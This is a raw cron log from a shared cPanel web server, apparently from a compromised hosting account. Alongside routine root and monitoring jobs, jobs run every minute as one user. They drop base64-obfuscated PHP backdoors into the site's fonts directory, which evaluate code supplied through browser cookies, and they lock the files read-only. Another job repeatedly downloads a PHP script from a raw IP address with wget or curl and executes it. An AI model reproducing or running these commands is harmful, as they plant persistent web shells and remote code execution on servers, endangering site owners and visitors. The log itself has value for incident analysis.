Aug 30 08:28:01 ip-184-168-122-23 CROND[11035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:29:01 ip-184-168-122-23 CROND[11130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:29:01 ip-184-168-122-23 CROND[11132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:29:01 ip-184-168-122-23 CROND[11133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:29:01 ip-184-168-122-23 CROND[11134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:30:01 ip-184-168-122-23 CROND[11213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:30:01 ip-184-168-122-23 CROND[11215]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 30 08:30:01 ip-184-168-122-23 CROND[11218]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:30:01 ip-184-168-122-23 CROND[11224]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:30:01 ip-184-168-122-23 CROND[11229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:30:01 ip-184-168-122-23 CROND[11228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:30:01 ip-184-168-122-23 CROND[11231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:30:01 ip-184-168-122-23 CROND[11227]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:30:01 ip-184-168-122-23 CROND[11232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:31:01 ip-184-168-122-23 CROND[11328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:31:01 ip-184-168-122-23 CROND[11329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:31:01 ip-184-168-122-23 CROND[11330]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 08:31:01 ip-184-168-122-23 CROND[11331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:31:01 ip-184-168-122-23 CROND[11332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:32:01 ip-184-168-122-23 CROND[11410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:32:01 ip-184-168-122-23 CROND[11412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:32:01 ip-184-168-122-23 CROND[11415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:32:01 ip-184-168-122-23 CROND[11413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:32:01 ip-184-168-122-23 CROND[11416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:33:01 ip-184-168-122-23 CROND[11495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:33:01 ip-184-168-122-23 CROND[11496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:33:01 ip-184-168-122-23 CROND[11497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:33:01 ip-184-168-122-23 CROND[11499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:34:01 ip-184-168-122-23 CROND[11671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:34:01 ip-184-168-122-23 CROND[11674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:34:01 ip-184-168-122-23 CROND[11673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:34:01 ip-184-168-122-23 CROND[11672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:34:01 ip-184-168-122-23 CROND[11676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:35:01 ip-184-168-122-23 CROND[11762]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 08:35:01 ip-184-168-122-23 CROND[11764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:35:01 ip-184-168-122-23 CROND[11767]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 08:35:01 ip-184-168-122-23 CROND[11769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:35:01 ip-184-168-122-23 CROND[11770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:35:01 ip-184-168-122-23 CROND[11768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:35:01 ip-184-168-122-23 CROND[11771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:35:01 ip-184-168-122-23 CROND[11766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:36:01 ip-184-168-122-23 CROND[11864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:36:01 ip-184-168-122-23 CROND[11866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:36:01 ip-184-168-122-23 CROND[11868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:36:01 ip-184-168-122-23 CROND[11867]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:36:01 ip-184-168-122-23 CROND[11869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:37:01 ip-184-168-122-23 CROND[11947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:37:01 ip-184-168-122-23 CROND[11950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:37:01 ip-184-168-122-23 CROND[11949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:37:01 ip-184-168-122-23 CROND[11954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:38:01 ip-184-168-122-23 CROND[12072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:38:01 ip-184-168-122-23 CROND[12074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:38:01 ip-184-168-122-23 CROND[12075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:38:01 ip-184-168-122-23 CROND[12077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:38:01 ip-184-168-122-23 CROND[12079]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:39:01 ip-184-168-122-23 CROND[12167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:39:01 ip-184-168-122-23 CROND[12169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:39:01 ip-184-168-122-23 CROND[12172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:39:01 ip-184-168-122-23 CROND[12170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:39:01 ip-184-168-122-23 CROND[12171]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 08:40:01 ip-184-168-122-23 CROND[12258]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:40:01 ip-184-168-122-23 CROND[12261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 08:40:01 ip-184-168-122-23 CROND[12262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 08:40:01 ip-184-168-122-23 CROND[12263]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 08:40:01 ip-184-168-122-23 CROND[12270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 08:40:01 ip-184-168-122-23 CROND[12271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:40:01 ip-184-168-122-23 CROND[12268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
